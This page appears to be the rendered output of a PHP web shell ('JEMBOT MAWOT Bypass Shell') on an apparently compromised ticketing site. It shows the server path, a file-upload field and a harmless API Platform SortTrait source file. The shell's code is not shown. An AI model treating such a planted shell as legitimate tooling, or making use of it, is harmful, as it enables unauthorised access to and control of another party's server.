JEMBOT MAWOT Bypass Shell

Current Path : /home/cinepatreb/billetterie/vendor/api-platform/core/src/Util/
Upload File :
Current File : /home/cinepatreb/billetterie/vendor/api-platform/core/src/Util/SortTrait.php

<?php

/*
 * This file is part of the API Platform project.
 *
 * (c) Kévin Dunglas <dunglas@gmail.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

declare(strict_types=1);

namespace ApiPlatform\Util;

/**
 * Sort helper methods.
 *
 * @internal
 *
 * @author Alan Poulain <contact@alanpoulain.eu>
 */
trait SortTrait
{
    private function arrayRecursiveSort(array &$array, callable $sortFunction): void
    {
        foreach ($array as &$value) {
            if (\is_array($value)) {
                $this->arrayRecursiveSort($value, $sortFunction);
            }
        }
        unset($value);
        $sortFunction($array);
    }
}

class_alias(SortTrait::class, \ApiPlatform\Core\Util\SortTrait::class);

xxxxx1.0, XXX xxxx